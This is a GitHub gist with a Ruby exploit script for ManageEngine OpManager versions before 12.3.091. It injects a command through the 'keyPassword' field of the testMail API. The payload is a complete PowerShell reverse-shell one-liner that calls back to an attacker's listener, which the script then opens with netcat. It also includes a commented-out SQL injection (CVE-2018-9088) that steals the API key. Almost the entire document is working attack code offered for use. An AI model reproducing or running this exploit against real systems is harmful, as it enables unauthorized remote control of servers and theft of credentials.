Created
February 16, 2021 19:18
-
-
Save divinepwner/acc6d389ca8219b7e71192e63a9361e0 to your computer and use it in GitHub Desktop.
OpManager Authenticated Remote Code Execution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'optparse' | |
require 'net/http' | |
require 'mime/types' | |
require 'uri' | |
def make_request (uri, header = {}, post_body = "") | |
http = Net::HTTP.new(uri.host, uri.port) | |
request = Net::HTTP::Post.new(uri.request_uri, header) | |
request.body = post_body | |
response = http.request(request) | |
response | |
end | |
def prepare_formdata (boundary_val, cmd) | |
post_body = "" | |
formFields = { | |
"servername": "jw", | |
"serverport": "2525", | |
"timeout": "5", | |
"fromemailid": "4", | |
"emailid": "test@jw.com", | |
"requiresauth": "on", | |
"mailusername": "hellno", | |
"securemode": "on", | |
"keyPassword": "hello\" & #{cmd} || \" " | |
} | |
# prepare form-data fields | |
formFields.each do |key,value| | |
post_body << "--#{boundary_val}\r\n" | |
post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n\r\n" | |
post_body << "#{value}\r\n" | |
end | |
# add certBrowser file item to trigger command injection | |
post_body << "--#{boundary_val}\r\n" | |
post_body << "Content-Disposition: form-data; name=\"certBrowse\"; filename=\"a.tt\"\r\n" | |
post_body << "Content-Type: text/plain\r\n\r\n" | |
post_body << "hello:)\r\n" | |
post_body << "--#{boundary_val}--" | |
post_body | |
end | |
def generate_connectback (local_ip, local_port) | |
# powershell reverse tcp one line | |
powershell_reverse_tcp = "$client=New-Object System.Net.Sockets.TCPClient('#{local_ip}',#{local_port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};" | |
powershell_reverse_tcp << "$sendbyte=(pwd).Path + '> ';$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();" | |
powershell_reverse_tcp << "while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);" | |
powershell_reverse_tcp << "$sendback=(iex $data 2>&1 | Out-String);$sendback2=$sendback+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);" | |
powershell_reverse_tcp << "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();} $client.Close();Exit" | |
powershell_reverse_tcp.strip | |
end | |
target_host = "192.168.1.104" | |
target_port = "8083" | |
local_ip = "192.168.1.100" | |
local_port = "4444" | |
proto = "http" | |
# ladies and gentlemen, welcome to pwn engine shit show | |
# brought to you by real life heroes | |
# always avoid clickbaits & use adblocker | |
puts "ManageEngine OpManager < v12.3.091 Remote Code Execution Exploit" | |
# CVE-2018-9088 SQL Injection vulnerability was previously fixed | |
puts "This cyber shotgun exploits SQL Injection (CVE-2018-9088) and Command Injection" | |
puts "vulnerabilities to achieve remote code execution on vulnerable system." | |
puts "Author: @cnbrkbolat & @divinepwner & @R0h1rr1m - 10.05.2018" | |
puts | |
ARGV << "-h" if ARGV.empty? | |
ARGV.options do |opts| | |
opts.on("-t", "--host=val", String, "Target ManageEngine IP") { |val| target_host = val } | |
opts.on("-p", "--port=val", String, "Target ManageEngine Port") { |val| target_port = val } | |
opts.on("--localip=val", String, "Local Listener IP") { |val| local_ip = val } | |
opts.on("--localport=val", String, "Local Listener Port (Def: 4444)") { |val| local_port = val } | |
opts.on_tail("-h", "--help") { puts opts; exit } | |
opts.parse! | |
end | |
trap("SIGINT") do | |
puts | |
puts "[~] bye." | |
exit | |
end | |
api_key = "ApiKeyGoesHere" | |
reverse_shell = generate_connectback(local_ip, local_port) | |
payload = "cmd.exe /c powershell -nop -c \"#{reverse_shell}\"" | |
boundary_value = "6681815561" | |
post_data = prepare_formdata(boundary_value, payload) | |
header = {"Content-Type" => "multipart/form-data; boundary=#{boundary_value}"} | |
# trigger sql injection and fetch OpManager APIKEY | |
# puts "[+] fetching api key with sql injection" | |
# api_query = "SELECT+APIKEY+FROM+ApiKey+LIMIT+1" | |
# uri = URI.parse("#{proto}://#{target_host}:#{target_port}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=getprobenetworkshare&customerName=')+UNION+SELECT+31,337,':::'%7C%7C(#{api_query})%7c%7c':::','c','d','e'--+") | |
# resp = make_request(uri) | |
# api_key = $1 if resp.body =~ /:::(.+):::/ | |
# puts "[+] API key: #{api_key}" | |
# execute code on target with stolen OpManager APIKEY | |
puts "[+] triggering code injection with API key" | |
uri = URI.parse("#{proto}://#{target_host}:#{target_port}/api/json/v2/admin/testMail?apiKey=#{api_key}") | |
resp = make_request(uri, header, post_data) | |
puts "[+] success, enjoy your shell" if resp.code == "200" | |
puts "[+] press enter to continue :p" | |
# here is your shell | |
system("nc -lvvv 4444") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment